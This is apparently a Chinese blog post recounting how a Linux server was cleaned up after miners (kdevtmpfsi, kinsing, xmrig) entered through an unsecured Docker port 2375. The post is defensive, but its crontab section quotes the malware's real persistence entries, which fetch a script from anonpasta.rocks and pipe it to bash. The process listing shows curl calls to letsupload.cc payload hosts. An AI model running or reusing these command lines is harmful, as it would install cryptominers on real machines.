记一次挖矿病毒kdevtmpfsi,xmrig,定时任务crontab不能更改,及莫名的curl,导致CPU过高,占用网络连接数过大的解决办法

一、警告

二、解决病毒

1.docker 引发的挖矿程序的惨案

(1)病毒原因

(2)解决病毒

2.定时任务crontab不能更改

3.更改ssh端口

4.莫名的curl,导致CPU过高

三、完成


一、警告


   在linux中使用docker,redis,ssh,tomcat等 的时候,建议全部更改成自己自定义的端口,开启防火墙并开发自己需要的端口。


二、解决病毒

1.docker 引发的挖矿程序的惨案

发现linux系统中使用的docker自动创建了一些镜像,并且自动创建了很多容器。

docker ps

查看多了一些不是工作人员创建的容器


9123b9382935        felilca/ubuntu:latest   "/root/startup.sh"       3 hours ago         Created          adoring_poincare
020474fba957        felilca/ubuntu:latest   "/root/startup.sh"       3 hours ago         Created          festive_tharp 
e29eab638235        felilca/ubuntu:latest   "/root/startup.sh"       3 hours ago         Created         serene_lichterman
286f88317d0a        felilca/ubuntu:latest   "/root/startup.sh"       3 hours ago         Created          confident_ptolemy
f40496ce7392        felilca/ubuntu:latest   "/root/startup.sh"       3 hours ago         Created           inspiring_haibt
def4365fc121        felilca/ubuntu:latest   "/root/startup.sh"       3 hours ago         Created            adoring_leavitt

文字方便大家搜索

docker images

发现多了metal3d/xmrig,ubuntu,greekgoods/kimura,felilca/ubuntu等不是我们工作人员自己下载的镜像。

(1)病毒原因

工作人员为了方便开发时部署,把docker的2375端口打开,并且没有设置安全加固方式;

具体的原因可以参考下面篇文章:

                          Docker 2375 端口入侵服务器

(2)解决病毒

    1.首先先查看linux服务器防火墙是否开启:  firewall-cmd --state

              如果没有开启,请开启,不想开启的话,安全性自己评估

             如果防火墙在开启状态,执行下一步

    2.查看防火墙开放的端口,并把docker的2375端口进行关闭。(如果病毒是通过redis等方式侵入,可执行相同的步骤,但

       是要记得变换端口号)

          firewall-cmd --zone=public --remove-port=2375/tcp --permanent

   3.端口号关闭之后,进行执行删除docker容器和镜像命令。

1.docker stop $CONTAINER_ID               (有多个容器的话,可在后面$CONTAINER_ID拼接,中间加空格)

2.docker rm $CONTAINER_ID

容器删除干净之后,删除不需要的镜像

3.docker rmi $IMAGES_ID                         (有多个镜像的话,可在后面$IMAGES_ID拼接,中间加空格)

  4.杀掉病毒进程

[root@localhost ]# ps -aux | grep kinsing
root     20296  0.0  0.6 119428 50140 ?        Sl   Mar31   0:01 /var/tmp/kinsing
root     22217  0.0  0.0 118908   984 pts/8    S+   Mar31   0:00 grep --color=auto kinsing
[root@localhost]# ps -aux | grep kdevtmpfsi
root     21476 83.2  0.0 2721344 1484 ?        Ssl  Mar31  27:47 /tmp/kdevtmpfsi
root     22920  0.0  0.0 118908   988 pts/8    S+   Mar31   0:00 grep --color=auto kdevtmpfsi
[root@localhost ]# kill  -9 20296
[root@localhost ]# kill  -9 21476
然后删除病毒相关文件
[root@localhost ]# rm -rf /tmp/kdevtmpfsi 
[root@localhost ]# rm -rf /var/tmp/kinsing  
最后自己可以再检查一下是否还有kdevtmpfsi的相关文件,有的话就继续删除
[root@localhost ]# find / -name kdevtmpfsi
[root@localhost ]# find / -name kinsing

2.定时任务crontab不能更改

说到这个,我就想笑,病毒还是很狡猾的。

(1)查看定时任务

crontab -l

  结果为:

*/7 * * * * curl -A fczyo-cron/1.6 -sL $(curl -sL https://anonpasta.rocks/raw/nofoletove) | bash -s >/dev/null 2>&1
*/10 * * * * curl -A fczyo-cron/1.6 -sL $(curl -sL https://anonpasta.rocks/raw/imusacubix) | bash -s >/dev/null 2>&1
*/3 * * * * curl -A goodboy/1.5 -sL https://iplogger.org/1i9ve7
*/2 * * * * curl -A fczyo-cron/1.6 -sL $(curl -sL https://anonpasta.rocks/raw/atucewakep) | bash -s >/dev/null 2>&1

(2)删除定时任务

在我去删除定时任务的时候,发现,病毒把定时任务的文件/var/spool/cron/root更改成了只读状态

查看/var/spool/cron/root文件状态: lsattr /var/spool/cron/root
结果为:     ----ia----------- /var/spool/cron/root

  (3)更改定时任务属性文件状态(新情况)

执行:chattr -ia /var/spool/cron/root

发现:-bash: /usr/bin/chattr: Permission denied

这是什么情况,chattr命令不能使用,接着查看chattr的情况

执行:ls -l /usr/bin/chattr

发现:-rw-r--r-- 1 root root 0 Apr 13 23:30 /usr/bin/chattr

这是没有执行权限啊,接下来给chattr添加上执行权限

执行:chmod u+x /usr/bin/chattr

添加过之后,再执行 ls -l /usr/bin/chattr,然后查看一下chattr的权限,正常加上去了

执行:chattr -ia /var/spool/cron/root  ,返回成功

执行:lsattr/var/spool/cron/root

发现: ----ia----------- /var/spool/cron/root   ia权限还是存在,这是怎么回事??????

仔细看下:

    执行:ls -l /usr/bin/chattr

    返回:-rwxr-xr-x 1 root root 0 Apr 13 23:30 /usr/bin/chattr

哈哈哈:万恶的病毒把chattr的文件内容全部清空了

   从另外一台虚拟机上把  /usr/bin/chattr 文件传给这台linux机器吧

然后,执行chattr -ia /var/spool/cron/root  ,返回成功

执行:lsattr/var/spool/cron/root

发现: ----------------- /var/spool/cron/root   文件已然正常

==================================================================================

    执行:crontab -e   删除掉里面的定时任务,保存,退出

然后给 /var/spool/cron/root 文件添加上只读属性。


完成。

3.更改ssh端口

ssh连接只开放一个自定义端口即可,开放过自定义端口之后,建议把22端口给关掉,

主要就是更改一下:/etc/ssh/sshd_config

4.莫名的curl,导致CPU过高

      使用top命令查看,发现一些莫名的curl访问

记一次挖矿病毒kdevtmpfsi,xmrig,定时任务crontab不能更改,及莫名的curl,导致CPU过高,占用网络连接数过大的解决办法_第1张图片 执行top命令之后,展示的几条异常curl
[root@localhost tmp]# ps -aux | grep curl
root     23431  1.6  0.0 274520  7416 pts/7    S+   Mar31   0:00 curl -sL https://cdn-09.letsupload.cc/B1S4M1D7n9/16c8b421-1586789407/microsoft
root     23484  2.0  0.0 274520  7420 pts/5    S+   Mar31   0:00 curl -sL https://cdn-25.letsupload.cc/B1S4M1D7n9/16c8b421-1586789407/microsoft
root     23554  0.0  0.0 118904   976 pts/8    S+   Mar31   0:00 grep --color=auto curl
root     23583  7.0  0.0 274492  7100 pts/1    S+   Mar31   0:00 curl -sL https://cdn-07.letsupload.cc/3eS7MaDcn6/f3ebe80d-1586789364/google.jpg
root     23612  1.0  0.0 260860  3284 pts/3    S+   Mar31   0:00 curl -sL https://cdn-17.letsupload.cc/J2S1MaDbn9/50934c28-1586789397/ovh.jpg
root     23615  0.0  0.0 260860  3284 pts/4    S+   Mar31   0:00 curl -sL https://cdn-12.letsupload.cc/r6SdMfD8n5/b4029c4c-1586789429/cn.jpg
root     23624  1.0  0.0 268544  4152 pts/2    R+   Mar31   0:00 curl -sL https://cdn-24.letsupload.cc/lbS4M5Dbn2/d5ad92b7-1586789411/amazon.jpg
root     23632  0.0  0.0 260860  3284 pts/6    S+   Mar31   0:00 curl -sL https://cdn-23.letsupload.cc/v6S5M6D4n8/b6c59036-1586789420/de

发现有好多个伪终端在连接(pts/0、1、2、3...)

在linux执行w命令,查看当前连接的终端,发现只有其中两个是工作人员的,其余的全是非法连接。直接使用root用户权限,强制踢出非法连接的: pkill -kill -t pts/1、pkill -kill -t pts/2、pkill -kill -t pts/3、........

三、完成

  1. .ssh连接端口已更改;
  2. docker2375端口已关闭(或者使用安全加固),安全加固方式可参考生成CA证书进行访问,官方生成CA证书;
  3. docker非法镜像及容器已删除;
  4. 定时任务已删除;
  5. 非法连接伪终端已剔除。

 

你可能感兴趣的:(linux,docker)